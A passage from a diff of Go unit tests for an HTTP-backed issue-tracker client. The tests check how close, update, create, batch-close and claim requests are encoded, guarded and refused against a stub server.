revision", res.Issue, token) + } + }) + + t.Run("close", func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusClosed}, Revision: types.RevisionToken(token), + }} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + res, err := lifecycle.Close(t.Context(), issueops.CloseRequest{Actor: "writer", IssueID: "bd-1"}) + if err != nil { + t.Fatalf("Close: %v", err) + } + if res.Issue == nil || res.Issue.RowVersion != token { + t.Errorf("CloseResult.Issue.RowVersion = %v, want %d off the wire's revision", res.Issue, token) + } + }) + + t.Run("reopen", func(t *testing.T) { + w := &stubWire{reopen: &apigen.ReopenIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusOpen}, Revision: types.RevisionToken(token), + }} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + res, err := lifecycle.Reopen(t.Context(), issueops.ReopenRequest{Actor: "writer", IssueID: "bd-1"}) + if err != nil { + t.Fatalf("Reopen: %v", err) + } + if res.Issue == nil || res.Issue.RowVersion != token { + t.Errorf("ReopenResult.Issue.RowVersion = %v, want %d off the wire's revision", res.Issue, token) + } + }) +} + +// TestUpdateSendsTheGuardTrio drives all three of updateIssue's preconditions, +// including the two whose EMPTY value is a real guard. +func TestUpdateSendsTheGuardTrio(t *testing.T) { + version := int64(7) + unassigned := "" + holder := "gastown.mayor" + open := issueops.StatusOpen + + patch := issueops.IssuePatch{Priority: set(1)} + for _, tc := range []struct { + name string + req issueops.UpdateRequest + want wire.UpdateGuards + }{ + { + name: "unguarded leaves every member absent", + req: issueops.UpdateRequest{}, + want: wire.UpdateGuards{}, + }, + { + name: "version", + req: issueops.UpdateRequest{ExpectedVersion: &version}, + want: wire.UpdateGuards{ExpectedVersion: ptr(types.RevisionToken(version))}, + }, + { + name: "version zero is a real token", + req: issueops.UpdateRequest{ExpectedVersion: new(int64)}, + want: wire.UpdateGuards{ExpectedVersion: ptr("0")}, + }, + { + name: "the empty assignee is a real guard", + req: issueops.UpdateRequest{ExpectedAssignee: &unassigned}, + want: wire.UpdateGuards{ExpectedAssignee: &unassigned}, + }, + { + name: "assignee", + req: issueops.UpdateRequest{ExpectedAssignee: &holder}, + want: wire.UpdateGuards{ExpectedAssignee: &holder}, + }, + { + name: "status", + req: issueops.UpdateRequest{ExpectedStatus: &open}, + want: wire.UpdateGuards{ExpectedStatus: ptr(string(open))}, + }, + { + name: "all three together", + req: issueops.UpdateRequest{ + ExpectedVersion: &version, ExpectedAssignee: &holder, ExpectedStatus: &open, + }, + want: wire.UpdateGuards{ + ExpectedVersion: ptr(types.RevisionToken(version)), ExpectedAssignee: &holder, ExpectedStatus: ptr(string(open)), + }, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "0"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID, req.Patch = "writer", "bd-1", patch + if _, err := lifecycle.Update(t.Context(), req); err != nil { + t.Fatalf("Update: %v", err) + } + // The version guard reaches the wire as the token's decimal string + // (types.RevisionToken), so it is compared as the text it became. + assertGuardText(t, "expected_version", w.lastGuards.ExpectedVersion, tc.want.ExpectedVersion) + assertGuardText(t, "expected_assignee", w.lastGuards.ExpectedAssignee, tc.want.ExpectedAssignee) + assertGuardText(t, "expected_status", w.lastGuards.ExpectedStatus, tc.want.ExpectedStatus) + // The guards ride BESIDE the patch document, never inside it: the + // server reads them off the body's top level and an + // `expected_version` smuggled into `patch` would be an unknown + // member and a 400. + for _, guard := range []string{"expected_version", "expected_status", "expected_assignee"} { + if _, in := w.lastPatch[guard]; in { + t.Errorf("the patch document carries %q; the guards are top-level members of the body", guard) + } + } + }) + } +} + +// TestUpdateSendsEachFlagOnlyWhenRequested is the positive half of the four +// retired flag rows — W-UpdateRequest.ForceNotesOverwrite, then Claim, +// ForceAssigneeTransfer and ForceClosePolicy with the #7247 review port: each +// member is now a wire argument of UpdateIssue rather than a document field, so +// the role must send `true` when the request asks for it and nothing — not +// `false` — when it does not, matching setItemBool's "only true is written" +// rule everywhere else these flags travel. The comparison is the whole struct, +// so a flag carried in its neighbour's slot fails too. +// +// The claim cases pin the shape #6890 made servable: a claim with an EMPTY +// patch is one updateIssue call with the empty document, and a claim beside a +// patch is the same call, never a claimIssue first. +func TestUpdateSendsEachFlagOnlyWhenRequested(t *testing.T) { + notes := issueops.IssuePatch{Notes: set("replacement notes")} + for _, tc := range []struct { + name string + req issueops.UpdateRequest + want wire.UpdateFlags + wantPatch map[string]any + }{ + { + name: "absent leaves every fence enforced", + req: issueops.UpdateRequest{Patch: notes}, + want: wire.UpdateFlags{}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, + { + name: "notes overwrite", + req: issueops.UpdateRequest{Patch: notes, ForceNotesOverwrite: true}, + want: wire.UpdateFlags{ForceNotesOverwrite: true}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, + { + name: "assignee transfer", + req: issueops.UpdateRequest{ + Patch: issueops.IssuePatch{Assignee: set("new-holder")}, + ForceAssigneeTransfer: true, + }, + want: wire.UpdateFlags{ForceAssigneeTransfer: true}, + wantPatch: map[string]any{"assignee": "new-holder"}, + }, + { + name: "close policy", + req: issueops.UpdateRequest{ + Patch: issueops.IssuePatch{Status: set(issueops.StatusClosed)}, + ForceClosePolicy: true, + }, + want: wire.UpdateFlags{ForceClosePolicy: true}, + wantPatch: map[string]any{"status": string(issueops.StatusClosed)}, + }, + { + name: "a claim alone sends the empty patch", + req: issueops.UpdateRequest{Claim: true}, + want: wire.UpdateFlags{Claim: true}, + wantPatch: map[string]any{}, + }, + { + name: "a claim beside a patch is one call", + req: issueops.UpdateRequest{Claim: true, Patch: notes}, + want: wire.UpdateFlags{Claim: true}, + wantPatch: map[string]any{"notes": "replacement notes"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + w := &stubWire{update: &apigen.UpdateIssueResponse{Revision: "41"}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + req := tc.req + req.Actor, req.IssueID = "writer", "bd-1" + res, err := lifecycle.Update(t.Context(), req) + if err != nil { + t.Fatalf("Update: %v", err) + } + if w.lastFlags != tc.want { + t.Errorf("flags sent as %+v, want %+v", w.lastFlags, tc.want) + } + // A nil map would marshal as `null`, which the server refuses even + // beside a claim: the claim's empty patch is the empty DOCUMENT. + if w.lastPatch == nil || !reflect.DeepEqual(w.lastPatch, tc.wantPatch) { + t.Errorf("patch sent as %#v, want %#v", w.lastPatch, tc.wantPatch) + } + if want := []string{"updateIssue:bd-1"}; !reflect.DeepEqual(w.calls, want) { + t.Errorf("Update dialed %v, want %v", w.calls, want) + } + if res.Issue == nil || res.Issue.RowVersion != 41 { + t.Errorf("UpdateResult.Issue = %+v, want the response's revision stitched on", res.Issue) + } + }) + } +} + +// assertExpectedVersion compares a row-version guard THROUGH the pointer, so +// absent and zero are two different failures with two different messages. +// +// `got` is what reached the wire: the token's decimal STRING, spelled by +// types.RevisionToken (upstream #6053 — a JSON number on this member is a 400). +// `want` is the int64 the role was handed, so the assertion pins the encoding +// too: a guard on 0 has to arrive as "0", never as an absent member. +func assertExpectedVersion(t *testing.T, op string, got *string, want *int64) { + t.Helper() + switch { + case want == nil && got != nil: + t.Errorf("%s sent expected_version %q for a request that named no guard; absent means absent, never zero", op, *got) + case want != nil && got == nil: + t.Errorf("%s omitted expected_version; the guard was %d", op, *want) + case want != nil && got != nil && *got != types.RevisionToken(*want): + t.Errorf("%s sent expected_version %q, want %q", op, *got, types.RevisionToken(*want)) + } +} + +func assertGuardText(t *testing.T, member string, got, want *string) { + t.Helper() + switch { + case want == nil && got != nil: + t.Errorf("%s was sent as %q for a request that named no guard; absent means absent, never the empty string", member, *got) + case want != nil && got == nil: + t.Errorf("%s was omitted; the guard was %q", member, *want) + case want != nil && got != nil && *got != *want: + t.Errorf("%s = %q, want %q", member, *got, *want) + } +} + +// ptr lives in helpers_test.go; this file used to redeclare it identically +// (the lift had the same generic helper in two files, which never compiled), +// removed in S3 reconciliation (2026-10). + +// TestCreateRefusesARequestWithNoIssue keeps the role's own precondition off the +// wire: a create with nothing to create is a client bug, not a round trip. +func TestCreateRefusesARequestWithNoIssue(t *testing.T) { + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{Actor: "writer"}); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("Create with no issue = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } +} + +// TestCreateSendsTheWholeRequestVocabulary drives one create carrying every +// member the wire publishes and reads the body back. +// +// It is the create's answer to TestBatchCreateSendsTheItemMembersTheWireCarries, +// and it is a wider table for a reason the two operations do not share: +// createIssue publishes the WHOLE create vocabulary at the top level of one flat +// body, where batchCreateIssues' item spells nine members of an issue. So every +// member here is a member some caller of `bd create` fills in. +func TestCreateSendsTheWholeRequestVocabulary(t *testing.T) { + minutes := 45 + externalRef := "gh-9" + dueAt := time.Date(2033, 5, 6, 7, 8, 9, 0, time.UTC) + deferUntil := time.Date(2033, 4, 5, 6, 7, 8, 0, time.UTC) + + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + ParentID: "bd-parent", + InheritLabelsFromParent: true, + ForceIDPrefix: true, + Dependencies: []issueops.CreateDependency{ + {TargetID: "bd-blocker", Type: types.DepBlocks}, + {TargetID: "bd-reverse", Type: types.DepBlocks, Reverse: true, Metadata: `{"k":"v"}`}, + }, + WaitsFor: &issueops.WaitsFor{SpawnerID: "bd-spawner", Gate: "any-children"}, + Issue: &issueops.Issue{ + ID: "bd-9", Title: "created title", Description: "created description", + Design: "created design", AcceptanceCriteria: "created acceptance", + Notes: "created notes", Status: issueops.StatusInProgress, Priority: 1, + IssueType: types.TypeBug, Assignee: "created-assignee", Owner: "created-owner", + EstimatedMinutes: &minutes, ExternalRef: &externalRef, + DueAt: &dueAt, DeferUntil: &deferUntil, Sender: "created-sender", + Metadata: json.RawMessage(`{"m":1}`), Labels: []string{"a", "b"}, + Ephemeral: true, + }, + }); err != nil { + t.Fatalf("Create: %v", err) + } + if got := w.calls; len(got) != 1 || got[0] != "createIssue" { + t.Fatalf("Create dialed %v, want one createIssue", got) + } + + body := w.lastCreate + for member, got := range map[string]string{ + "actor": body.Actor, + "title": body.Title, + "id": deref(body.Id), + "description": deref(body.Description), + "design": deref(body.Design), + "acceptance_criteria": deref(body.AcceptanceCriteria), + "notes": deref(body.Notes), + "status": deref(body.Status), + "issue_type": deref(body.IssueType), + "assignee": deref(body.Assignee), + "owner": deref(body.Owner), + "external_ref": deref(body.ExternalRef), + "sender": deref(body.Sender), + "parent_id": deref(body.ParentId), + } { + if got == "" { + t.Errorf("createIssue left %q empty; every member of the request reached the wire or refused", member) + } + } + if body.Priority == nil || *body.Priority != 1 { + t.Errorf("priority = %v, want 1 — 0 is P0 and a real request, so the member is always sent", body.Priority) + } + if body.EstimatedMinutes == nil || *body.EstimatedMinutes != minutes { + t.Errorf("estimated_minutes = %v, want %d", body.EstimatedMinutes, minutes) + } + if body.DueAt == nil || !body.DueAt.Equal(dueAt) { + t.Errorf("due_at = %v, want %v", body.DueAt, dueAt) + } + if body.DeferUntil == nil || !body.DeferUntil.Equal(deferUntil) { + t.Errorf("defer_until = %v, want %v", body.DeferUntil, deferUntil) + } + if body.Labels == nil || strings.Join(*body.Labels, ",") != "a,b" { + t.Errorf("labels = %v, want [a b]", body.Labels) + } + if string(body.Metadata) != `{"m":1}` { + t.Errorf("metadata = %s, want the caller's document verbatim", body.Metadata) + } + for member, got := range map[string]*bool{ + "ephemeral": body.Ephemeral, + "inherit_labels_from_parent": body.InheritLabelsFromParent, + "force_id_prefix": body.ForceIdPrefix, + } { + if got == nil || !*got { + t.Errorf("%s = %v, want true", member, got) + } + } + if body.WaitsFor == nil || body.WaitsFor.SpawnerId != "bd-spawner" || deref(body.WaitsFor.Gate) != "any-children" { + t.Errorf("waits_for = %+v, want the spawner and its gate", body.WaitsFor) + } + if body.Dependencies == nil || len(*body.Dependencies) != 2 { + t.Fatalf("dependencies = %v, want two edges", body.Dependencies) + } + edges := *body.Dependencies + if edges[0].TargetId != "bd-blocker" || edges[0].Type != string(types.DepBlocks) { + t.Errorf("dependencies[0] = %+v, want the blocking edge", edges[0]) + } + // `reverse` and `metadata` ARE on this operation's edge, unlike + // batchCreateIssues' — the create has an id for a target to point back at. + if edges[1].Reverse == nil || !*edges[1].Reverse { + t.Errorf("dependencies[1].reverse = %v, want true", edges[1].Reverse) + } + if string(edges[1].Metadata) != `{"k":"v"}` { + t.Errorf("dependencies[1].metadata = %s, want the caller's blob verbatim", edges[1].Metadata) + } +} + +// TestCreateOmitsTheMembersTheRequestLeftEmpty is the other half: a bare create +// sends a bare body. +// +// It is not tidiness. `ephemeral` and `no_history` select a PLANE, `status` and +// `issue_type` are checked against the workspace's own vocabulary, and `id` is +// create-only — so a client that sent every member at its zero value would +// route a durable create onto the wisp plane, refuse on an empty type, and claim +// the empty id. Only `priority` and `actor` are unconditional, and priority for +// the reason batchCreateIssues gives: 0 is P0. +func TestCreateOmitsTheMembersTheRequestLeftEmpty(t *testing.T) { + w := &stubWire{} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{Title: "bare", IssueType: types.TypeTask}, + }); err != nil { + t.Fatalf("Create: %v", err) + } + + body := w.lastCreate + for member, got := range map[string]any{ + "id": body.Id, + "description": body.Description, + "design": body.Design, + "acceptance_criteria": body.AcceptanceCriteria, + "notes": body.Notes, + "status": body.Status, + "assignee": body.Assignee, + "owner": body.Owner, + "external_ref": body.ExternalRef, + "sender": body.Sender, + "parent_id": body.ParentId, + "estimated_minutes": body.EstimatedMinutes, + "due_at": body.DueAt, + "defer_until": body.DeferUntil, + "labels": body.Labels, + "ephemeral": body.Ephemeral, + "no_history": body.NoHistory, + "inherit_labels_from_parent": body.InheritLabelsFromParent, + "force_id_prefix": body.ForceIdPrefix, + "dependencies": body.Dependencies, + "waits_for": body.WaitsFor, + } { + if !reflect.ValueOf(got).IsNil() { + t.Errorf("a bare create sent %q; an omitted member is the workspace default and a zero one is a request", member) + } + } + if body.Metadata != nil { + t.Errorf("a bare create sent metadata %s", body.Metadata) + } + if body.Priority == nil || *body.Priority != 0 { + t.Errorf("priority = %v, want 0 sent explicitly — 0 is P0, not an absence", body.Priority) + } +} + +// TestCreateNamesTheOccupiedIDItWasRefusedFor: the wire's already_exists carries +// `param: "id"` and no id, because the request already said it. The role puts it +// back, so `bd create --id X` over http tells the user WHICH id — the same fact a +// local backend's refusal carries in its own message. +func TestCreateNamesTheOccupiedIDItWasRefusedFor(t *testing.T) { + w := &stubWire{errs: []error{fmt.Errorf("bd serve answered 409: %w", issueops.ErrAlreadyExists)}} + lifecycle, err := stubStore(t, w).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "writer", + Issue: &issueops.Issue{ID: "bd-taken", Title: "t", IssueType: types.TypeTask}, + }) + if !errors.Is(err, issueops.ErrAlreadyExists) { + t.Fatalf("Create over an occupied id = %v, want ErrAlreadyExists", err) + } + if !strings.Contains(err.Error(), "bd-taken") { + t.Errorf("Create error = %v, want it to name the occupied id", err) + } +} + +func deref(v *string) string { + if v == nil { + return "" + } + return *v +} + +// TestBatchCloseServesTheSingleItemShapeAndRefusesTheRest pins the DOWN-LEVEL +// leg: a server that does not advertise issues.batchClose (the stub store carries +// no capabilities), against which the role composes the single-item, no-ClaimNext +// shape onto closeIssue and refuses every shape that cannot compose. Where the +// capability IS present the whole batch is served on one wire call — the served +// conformance lane pins that leg, all nineteen cases. +func TestBatchCloseServesTheSingleItemShapeAndRefusesTheRest(t *testing.T) { + t.Run("single item composes onto closeIssue", func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{ + Issue: types.Issue{ID: "bd-1", Status: types.StatusClosed}, OpenChildren: 2, Revision: "0", + }} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "writer", + Items: []issueops.BatchCloseItem{{IssueID: "bd-1", Reason: "done"}}, + Session: "s1", + Force: true, + }) + if err != nil { + t.Fatalf("CloseBatch: %v", err) + } + if len(res.Outcomes) != 1 || res.Outcomes[0].IssueID != "bd-1" { + t.Fatalf("Outcomes = %+v, want one entry for bd-1", res.Outcomes) + } + if !res.Outcomes[0].Changed || res.Outcomes[0].OpenChildren != 2 { + t.Errorf("outcome = %+v, want the close's own Changed and OpenChildren", res.Outcomes[0]) + } + // The per-item reason and the request-wide session and force all reach + // the one operation, because losing any of them would close the issue + // with a record of why that is not the one the caller gave. + if w.lastClose.Reason == nil || *w.lastClose.Reason != "done" { + t.Errorf("close body carried reason %v, want the item's", w.lastClose.Reason) + } + if w.lastClose.Session == nil || *w.lastClose.Session != "s1" { + t.Errorf("close body carried session %v, want the request's", w.lastClose.Session) + } + if w.lastClose.Force == nil || !*w.lastClose.Force { + t.Errorf("close body carried force %v, want true", w.lastClose.Force) + } + }) + + t.Run("a per-item refusal is a result", func(t *testing.T) { + w := &stubWire{errs: []error{&issueops.CloseOpenChildrenError{IssueID: "bd-1", OpenChildren: 3}}} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "writer", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}, + }) + if err != nil { + t.Fatalf("CloseBatch returned the refusal as the METHOD's error: %v", err) + } + if len(res.Outcomes) != 1 || res.Outcomes[0].Err == nil { + t.Fatalf("Outcomes = %+v, want the refusal carried per item", res.Outcomes) + } + var openChildren *issueops.CloseOpenChildrenError + if !errors.As(res.Outcomes[0].Err, &openChildren) || openChildren.OpenChildren != 3 { + t.Errorf("per-item error = %v, want the typed open-children refusal", res.Outcomes[0].Err) + } + }) + + t.Run("the unserved shapes refuse without dialing", func(t *testing.T) { + cases := map[string]issueops.CloseBatchRequest{ + "multi-item": {Actor: "w", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}, {IssueID: "bd-2"}}}, + } + for name, req := range cases { + t.Run(name, func(t *testing.T) { + w := &stubWire{close: &apigen.CloseIssueResponse{Revision: "0"}} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), req) + var unsup *ErrHTTPUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("CloseBatch(%s) = %v, want the typed unsupported sentinel", name, err) + } + if len(res.Outcomes) != 0 { + t.Errorf("a refused request carried outcomes: %+v", res.Outcomes) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v; a shape that cannot be served must not half-serve it", w.calls) + } + }) + } + }) + + t.Run("an invalid request is ErrValidation, not unsupported", func(t *testing.T) { + w := &stubWire{} + closer, err := stubStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + for name, req := range map[string]issueops.CloseBatchRequest{ + "no actor": {Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}}, + "no items": {Actor: "w"}, + "blank id": {Actor: "w", Items: []issueops.BatchCloseItem{{IssueID: ""}}}, + } { + if _, err := closer.CloseBatch(t.Context(), req); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("CloseBatch(%s) = %v, want ErrValidation", name, err) + } + } + if len(w.calls) != 0 { + t.Errorf("an invalid request dialed %v", w.calls) + } + }) +} + +// batchCloseStore is a stub store whose server advertises issues.batchClose, so +// the BatchCloser takes the served (whole-batch) leg rather than the down-level +// composed one. +func batchCloseStore(t *testing.T, w *stubWire) *Store { + t.Helper() + return New(testTarget(t), w, &apigen.ContextResponse{ + BdVersion: "1.2.3", + Capabilities: []string{"issues.close", "issues.batchClose"}, + }) +} + +// TestBatchCloseRefusesWhatTheWireCannotCarry is L-close-cap's pin, L16's +// sibling: a batch over the wire's item cap refuses naming the bound and NEVER +// dials — the assertion that matters is that it is not chunked or half-sent — and +// a batch exactly at the bound reaches the batchClose operation. +func TestBatchCloseRefusesWhatTheWireCannotCarry(t *testing.T) { + items := func(n int) []issueops.BatchCloseItem { + out := make([]issueops.BatchCloseItem, n) + for i := range out { + out[i] = issueops.BatchCloseItem{IssueID: fmt.Sprintf("bd-%d", i)} + } + return out + } + dialed := func(calls []string, op string) bool { + for _, c := range calls { + if c == op { + return true + } + } + return false + } + + t.Run("over the wire bound refuses without dialing", func(t *testing.T) { + w := &stubWire{} + closer, err := batchCloseStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{ + Actor: "w", Items: items(maxWireBatchCloseItems + 1), + }) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("CloseBatch(%d items) = %v, want the ledgered refusal", maxWireBatchCloseItems+1, err) + } + if len(res.Outcomes) != 0 { + t.Errorf("a refused over-cap batch carried outcomes: %+v", res.Outcomes) + } + if len(w.calls) != 0 { + t.Errorf("the over-cap refusal dialed %v; a batch over the bound must not be chunked or sent", w.calls) + } + }) + + t.Run("exactly the wire bound serves", func(t *testing.T) { + reqItems := items(maxWireBatchCloseItems) + outcomes := make([]apigen.CloseOutcome, maxWireBatchCloseItems) + for i := range outcomes { + outcomes[i] = apigen.CloseOutcome{IssueId: reqItems[i].IssueID, Issue: &types.Issue{ID: reqItems[i].IssueID}} + } + w := &stubWire{batchClose: &apigen.BatchCloseResponse{Outcomes: outcomes}} + closer, err := batchCloseStore(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), issueops.CloseBatchRequest{Actor: "w", Items: reqItems}) + if err != nil { + t.Fatalf("CloseBatch at the bound: %v", err) + } + if len(res.Outcomes) != maxWireBatchCloseItems { + t.Fatalf("Outcomes = %d, want one per item at the bound", len(res.Outcomes)) + } + if !dialed(w.calls, "batchCloseIssues") { + t.Errorf("a batch at the bound did not reach the batchClose operation: %v", w.calls) + } + }) +} + +// TestBatchCloseRefusesClaimNextUnconditionally pins the S3 reconciliation: +// OSS's apigen.BatchCloseRequest and BatchCloseResponse publish no +// claim_next/claimed_next member at all (ledger row +// W-CloseBatchRequest.ClaimNext), so a batch close naming one refuses before +// any dial -- on BOTH legs, regardless of whether the server advertises +// issues.batchClose, and regardless of whether the filter it carries would +// otherwise be valid. +func TestBatchCloseRefusesClaimNextUnconditionally(t *testing.T) { + claim := issueops.ReadyRequest{} + req := issueops.CloseBatchRequest{ + Actor: "w", Items: []issueops.BatchCloseItem{{IssueID: "bd-1"}}, ClaimNext: &claim, + } + + for name, store := range map[string]func(*testing.T, *stubWire) *Store{ + "unserved leg": stubStore, + "served leg": batchCloseStore, + } { + t.Run(name, func(t *testing.T) { + w := &stubWire{batchClose: &apigen.BatchCloseResponse{ + Outcomes: []apigen.CloseOutcome{{IssueId: "bd-1", Issue: &types.Issue{ID: "bd-1"}}}, + }} + closer, err := store(t, w).BatchCloser() + if err != nil { + t.Fatalf("BatchCloser(): %v", err) + } + res, err := closer.CloseBatch(t.Context(), req) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("CloseBatch(ClaimNext) = %v, want the ledgered refusal", err) + } + if len(res.Outcomes) != 0 { + t.Errorf("a refused request carried outcomes: %+v", res.Outcomes) + } + if len(w.calls) != 0 { + t.Errorf("a ClaimNext refusal dialed %v; it must never half-serve the close", w.calls) + } + }) + } +} + +// TestClaimReportsTheIdempotentReclaim: already_claimed on a 200 is the SAME +// actor re-claiming, and the role spells that Changed false. Reading it as a +// conflict would make an agent polling its own claim fire the update hook on +// every poll. +func TestClaimReportsTheIdempotentReclaim(t *testing.T) { + w := &stubWire{claim: &apigen.ClaimResponse{ + AlreadyClaimed: true, Issue: types.Issue{ID: "bd-1", Assignee: "writer"}, + }} + claimer, err := stubStore(t, w).IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + res, err := claimer.Claim(t.Context(), issueops.ClaimRequest{Actor: "writer", IssueID: "bd-1"}) + if err != nil { + t.Fatalf("Claim: %v", err) + } + if res.Changed { + t.Error("Changed = true for an idempotent re-claim") + } + if res.Issue == nil || res.Issue.ID != "bd-1" { + t.Errorf("Issue = %+v, want the post-claim row", res.Issue) + } +} + +func readyRow(id string, deps int) apigen.IssueWithCounts { + issue := &types.Issue{ID: id, Status: types.StatusOpen} + return apigen.IssueWithCounts{Issue: issue, DependencyCount: deps} +} + +// TestReadyClaimWalksPastLostRacesAndHydratesFromThePage covers the composition +// D8 row 4 specifies: a taken row is walked past, and the row that lands carries +// the claim's post-state issue with the listing's cardinalities. +func TestReadyClaimWalksPastLostRacesAndHydratesFromThePage(t *testing.T) { + w := &stubWire{ + ready: []*apigen.ReadyPage{{Items: []apigen.IssueWithCounts{readyRow("bd-1", 4), readyRow("bd-2", 7)}}}, + claim: &apigen.ClaimResponse{Issue: types.Issue{ID: "bd-2", Assignee: "writer", Status: types.StatusInProgress}}, + errs: []error{ + nil, // the ready listing + &issueops.ClaimConflictError{IssueID: "bd-1", Assignee: "other", Err: issueops.ErrAlreadyClaimed}, + }, + } + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + res, err := claimer.ClaimNext(t.Context(), issueops.ClaimNextRequest{Actor: "writer"}) + if err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-2" { + t.Fatalf("Claimed = %+v, want the second row", res.Claimed) + } + if res.Claimed.Status != types.StatusInProgress { + t.Errorf("Claimed.Status = %q, want the POST-claim status", res.Claimed.Status) + } + if res.Claimed.DependencyCount != 7 { + t.Errorf("DependencyCount = %d, want the listing's %d", res.Claimed.DependencyCount, 7) + } +} + +// TestReadyClaimSeparatesAnEmptyFrontFromLostRaces is L14's second residue made +// visible: a drained queue is a nil-Claimed success, and a front that existed +// but was taken is an error. Reporting the second as the first would tell a +// polling agent there is no work when there is. +func TestReadyClaimSeparatesAnEmptyFrontFromLostRaces(t *testing.T) { + t.Run("empty front", func(t *testing.T) { + w := &stubWire{ready: []*apigen.ReadyPage{{}}} + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + res, err := claimer.ClaimNext(t.Context(), issueops.ClaimNextRequest{Actor: "writer"}) + if err != nil { + t.Fatalf("ClaimNext on a drained queue = %v, want nil", err) + } + if res.Claimed != nil { + t.Errorf("Claimed = %+v, want nil", res.Claimed) + } + }) + + t.Run("every candidate lost", func(t *testing.T) { + w := &stubWire{ + ready: []*apigen.ReadyPage{{Items: []apigen.IssueWithCounts{readyRow("bd-1", 0)}}}, + errs: []error{nil, issueops.ErrNotClaimable}, + } + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + res, err := claimer.ClaimNext(t.Context(), issueops.ClaimNextRequest{Actor: "writer"}) + if !errors.Is(err, ErrClaimRacesLost) { + t.Fatalf("ClaimNext = %v, want the lost-races refusal", err) + } + if res.Claimed != nil { + t.Errorf("Claimed = %+v, want nil", res.Claimed) + } + var lost *ClaimRacesLostError + if !errors.As(err, &lost) || lost.Attempts != 1 { + t.Errorf("lost-races error = %v, want one recorded attempt", err) + } + }) +} + +// TestReadyClaimRefusesTheRequestMembersTheRoleForbids: Limit and Offset are the +// role's own refusals, not the encoder's, and a bounded window would report an +// empty front whenever that window happened to be unclaimable. +func TestReadyClaimRefusesTheRequestMembersTheRoleForbids(t *testing.T) { + limit := 5 + cases := map[string]issueops.ClaimNextRequest{ + "no actor": {Filter: issueops.ReadyRequest{}}, + "limit": {Actor: "w", Filter: issueops.ReadyRequest{Limit: &limit}}, + "offset": {Actor: "w", Filter: issueops.ReadyRequest{Offset: 3}}, + } + for name, req := range cases { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + if _, err := claimer.ClaimNext(t.Context(), req); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("ClaimNext(%s) = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } + }) + } +} + +// TestReadyClaimDoesNotMutateTheCallerFilter: the page size is ours and the +// filter is the caller's, and writing one into the other would leave a Limit on +// a request the role has just refused Limits on. +func TestReadyClaimDoesNotMutateTheCallerFilter(t *testing.T) { + w := &stubWire{ready: []*apigen.ReadyPage{{}}} + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + req := issueops.ClaimNextRequest{Actor: "writer", Filter: issueops.ReadyRequest{Labels: 